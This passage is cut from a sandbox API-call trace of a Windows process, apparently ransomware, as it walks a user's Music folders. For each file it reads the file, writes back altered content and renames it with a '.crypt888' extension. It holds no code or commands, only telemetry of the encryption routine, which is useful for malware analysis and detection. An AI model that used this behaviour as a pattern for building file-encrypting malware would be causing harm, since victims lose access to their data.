lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.010] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.010] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.010] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.010] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0083.010] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0083.010] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0083.010] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0083.010] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0083.010] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23 [0083.010] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\", lpFilePart=0x0) returned 0x24 [0083.011] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a168 [0083.011] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.011] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.011] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.011] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.011] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.011] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.012] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.012] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.012] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.012] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.012] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0083.012] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0083.013] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0083.013] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0083.013] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FVUBbkPKVdXYA bD5cXp.m4a", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FVUBbkPKVdXYA bD5cXp.m4a", lpFilePart=0x0) returned 0x3c [0083.013] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0083.013] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FVUBbkPKVdXYA bD5cXp.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvubbkpkvdxya bd5cxp.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0083.013] GetFileType (hFile=0x174) returned 0x1 [0083.013] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0083.013] GetFileType (hFile=0x174) returned 0x1 [0083.013] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x109ea [0083.013] ReadFile (in: hFile=0x174, lpBuffer=0x2870460, nNumberOfBytesToRead=0x109ea, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x2870460*, lpNumberOfBytesRead=0x39ed58*=0x109ea, lpOverlapped=0x0) returned 1 [0083.014] CloseHandle (hObject=0x174) returned 1 [0083.067] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FVUBbkPKVdXYA bD5cXp.m4a", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FVUBbkPKVdXYA bD5cXp.m4a", lpFilePart=0x0) returned 0x3c [0083.067] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0083.067] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FVUBbkPKVdXYA bD5cXp.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvubbkpkvdxya bd5cxp.m4a"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0083.069] GetFileType (hFile=0x174) returned 0x1 [0083.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0083.069] GetFileType (hFile=0x174) returned 0x1 [0083.069] WriteFile (in: hFile=0x174, lpBuffer=0x270052c*, nNumberOfBytesToWrite=0x109f0, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x270052c*, lpNumberOfBytesWritten=0x39ed48*=0x109f0, lpOverlapped=0x0) returned 1 [0083.072] CloseHandle (hObject=0x174) returned 1 [0083.074] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FVUBbkPKVdXYA bD5cXp.m4a", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FVUBbkPKVdXYA bD5cXp.m4a", lpFilePart=0x0) returned 0x3c [0083.074] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FVUBbkPKVdXYA bD5cXp.m4a.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FVUBbkPKVdXYA bD5cXp.m4a.crypt888", lpFilePart=0x0) returned 0x45 [0083.074] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0083.074] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FVUBbkPKVdXYA bD5cXp.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvubbkpkvdxya bd5cxp.m4a"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40329f50, ftCreationTime.dwHighDateTime=0x1d4560d, ftLastAccessTime.dwLowDateTime=0xade2d3a0, ftLastAccessTime.dwHighDateTime=0x1d45b97, ftLastWriteTime.dwLowDateTime=0xc2b764a0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x109f0)) returned 1 [0083.075] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0083.075] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FVUBbkPKVdXYA bD5cXp.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvubbkpkvdxya bd5cxp.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FVUBbkPKVdXYA bD5cXp.m4a.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvubbkpkvdxya bd5cxp.m4a.crypt888")) returned 1 [0083.076] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Hack.html", lpFilePart=0x0) returned 0x2d [0083.076] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0083.076] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0083.076] GetFileType (hFile=0x174) returned 0x1 [0083.076] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0083.076] GetFileType (hFile=0x174) returned 0x1 [0083.076] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0xba [0083.076] ReadFile (in: hFile=0x174, lpBuffer=0x27113c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x27113c8*, lpNumberOfBytesRead=0x39ed58*=0xba, lpOverlapped=0x0) returned 1 [0083.076] CloseHandle (hObject=0x174) returned 1 [0083.127] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Hack.html", lpFilePart=0x0) returned 0x2d [0083.127] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0083.127] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0083.128] GetFileType (hFile=0x174) returned 0x1 [0083.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0083.128] GetFileType (hFile=0x174) returned 0x1 [0083.128] WriteFile (in: hFile=0x174, lpBuffer=0x275f684*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x275f684*, lpNumberOfBytesWritten=0x39ed1c*=0xc0, lpOverlapped=0x0) returned 1 [0083.129] CloseHandle (hObject=0x174) returned 1 [0083.130] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Hack.html", lpFilePart=0x0) returned 0x2d [0083.130] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Hack.html.crypt888", lpFilePart=0x0) returned 0x36 [0083.130] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0083.130] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc242c140, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xc242c140, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc2be88c0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0083.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0083.130] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hack.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Hack.html.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hack.html.crypt888")) returned 1 [0083.131] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\V_AiUurkD.m4a", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\V_AiUurkD.m4a", lpFilePart=0x0) returned 0x31 [0083.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0083.132] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\V_AiUurkD.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\v_aiuurkd.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0083.132] GetFileType (hFile=0x174) returned 0x1 [0083.132] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0083.132] GetFileType (hFile=0x174) returned 0x1 [0083.132] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x142ab [0083.132] ReadFile (in: hFile=0x174, lpBuffer=0x2760914, nNumberOfBytesToRead=0x142ab, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x2760914*, lpNumberOfBytesRead=0x39ed58*=0x142ab, lpOverlapped=0x0) returned 1 [0083.133] CloseHandle (hObject=0x174) returned 1 [0083.159] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\V_AiUurkD.m4a", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\V_AiUurkD.m4a", lpFilePart=0x0) returned 0x31 [0083.159] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0083.159] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\V_AiUurkD.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\v_aiuurkd.m4a"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0083.166] GetFileType (hFile=0x174) returned 0x1 [0083.166] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0083.166] GetFileType (hFile=0x174) returned 0x1 [0083.166] WriteFile (in: hFile=0x174, lpBuffer=0x27e9f00*, nNumberOfBytesToWrite=0x142b0, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x27e9f00*, lpNumberOfBytesWritten=0x39ed48*=0x142b0, lpOverlapped=0x0) returned 1 [0083.169] CloseHandle (hObject=0x174) returned 1 [0083.171] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\V_AiUurkD.m4a", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\V_AiUurkD.m4a", lpFilePart=0x0) returned 0x31 [0083.171] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\V_AiUurkD.m4a.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\V_AiUurkD.m4a.crypt888", lpFilePart=0x0) returned 0x3a [0083.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0083.171] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\V_AiUurkD.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\v_aiuurkd.m4a"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d52fb0, ftCreationTime.dwHighDateTime=0x1d4655e, ftLastAccessTime.dwLowDateTime=0x3e6ced0, ftLastAccessTime.dwHighDateTime=0x1d464f5, ftLastWriteTime.dwLowDateTime=0xc2c5ace0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x142b0)) returned 1 [0083.171] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0083.171] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\V_AiUurkD.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\v_aiuurkd.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\V_AiUurkD.m4a.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\v_aiuurkd.m4a.crypt888")) returned 1 [0083.172] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0083.172] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt", lpFilePart=0x0) returned 0x2e [0083.172] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\", lpFilePart=0x0) returned 0x2f [0083.172] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a028 [0083.172] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.173] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.173] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.173] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.173] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.173] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.173] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.174] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.174] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.174] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.174] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.174] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0083.174] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0083.175] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0083.175] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0083.175] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0083.175] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt", lpFilePart=0x0) returned 0x2e [0083.175] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\", lpFilePart=0x0) returned 0x2f [0083.175] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a028 [0083.175] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.175] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.176] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.176] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.176] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.176] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.176] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.176] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.177] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.177] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.177] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.177] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0083.177] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0083.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0083.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0083.178] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\2nMZRSHXl3dEd.m4a", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\2nMZRSHXl3dEd.m4a", lpFilePart=0x0) returned 0x40 [0083.178] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0083.178] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\2nMZRSHXl3dEd.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\r1xxda8olt\\2nmzrshxl3ded.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0083.178] GetFileType (hFile=0x174) returned 0x1 [0083.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0083.178] GetFileType (hFile=0x174) returned 0x1 [0083.178] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xc3b1 [0083.178] ReadFile (in: hFile=0x174, lpBuffer=0x2801b28, nNumberOfBytesToRead=0xc3b1, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x2801b28*, lpNumberOfBytesRead=0x39ed24*=0xc3b1, lpOverlapped=0x0) returned 1 [0083.179] CloseHandle (hObject=0x174) returned 1 [0083.201] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\2nMZRSHXl3dEd.m4a", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\2nMZRSHXl3dEd.m4a", lpFilePart=0x0) returned 0x40 [0083.201] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0083.201] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\2nMZRSHXl3dEd.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\r1xxda8olt\\2nmzrshxl3ded.m4a"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0083.203] GetFileType (hFile=0x174) returned 0x1 [0083.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0083.203] GetFileType (hFile=0x174) returned 0x1 [0083.203] WriteFile (in: hFile=0x174, lpBuffer=0x2873444*, nNumberOfBytesToWrite=0xc3c0, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x2873444*, lpNumberOfBytesWritten=0x39ed14*=0xc3c0, lpOverlapped=0x0) returned 1 [0083.205] CloseHandle (hObject=0x174) returned 1 [0083.210] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\2nMZRSHXl3dEd.m4a", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\2nMZRSHXl3dEd.m4a", lpFilePart=0x0) returned 0x40 [0083.210] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\2nMZRSHXl3dEd.m4a.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\2nMZRSHXl3dEd.m4a.crypt888", lpFilePart=0x0) returned 0x49 [0083.211] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0083.211] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\2nMZRSHXl3dEd.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\r1xxda8olt\\2nmzrshxl3ded.m4a"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23efadd0, ftCreationTime.dwHighDateTime=0x1d462e5, ftLastAccessTime.dwLowDateTime=0x5ced7de0, ftLastAccessTime.dwHighDateTime=0x1d45d97, ftLastWriteTime.dwLowDateTime=0xc2ca6fa0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc3c0)) returned 1 [0083.211] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0083.211] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\2nMZRSHXl3dEd.m4a" (normalized: "c:\\users\\5p5nrgjn0js 